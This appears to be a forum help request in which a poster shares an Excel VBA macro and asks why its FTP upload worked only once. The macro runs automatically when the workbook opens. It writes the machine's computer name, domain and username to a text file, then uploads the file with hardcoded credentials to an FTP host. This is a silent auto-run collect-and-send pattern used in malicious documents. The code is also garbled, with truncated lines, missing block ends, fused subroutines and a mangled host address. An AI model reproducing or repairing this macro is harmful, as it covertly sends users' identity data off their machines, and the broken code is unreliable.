I have a macro in Excel that saves data in a .txt file but I want to send that data to an FTP server, I found a code but when using it it worked only once, I tried to work again but I have not succeeded, the code is the following:
Private Sub Workbook_Open ()
Set fs = CreateObject ("Scripting.FileSystemObje
Set a = fs.CreateTextFile ("D: \ mom.txt", True)
With CreateObject ("WScript.Network")
a.WriteLine "Environment variables:" & vbCr
a.WriteLine "Device name:" & Environ ("computername")
a.WriteLine "Domain name:" & Environ ("userdomain")
a.WriteLine "Username:" & Environ ("username")
Sub TestFTPUpload ()
On Error GoTo ErrHandler
Dim objFTP As InetTransferLib.FTP
Const conTARGET = "ftp://ftp.192.168.57.136.com
Set objFTP = New InetTransferLib.FTP
.FtpURL = conTARGET
.SourceFile = "D: \ mom.txt"
.DestinationFile = "/mother.txt"
If Not .IsConnected Then .DialDefaultNumber
.ConnectToFTPHost "megatron", "password"
The server is a VM server Win2k8 FTP Server by IIS, they could help me where the error is?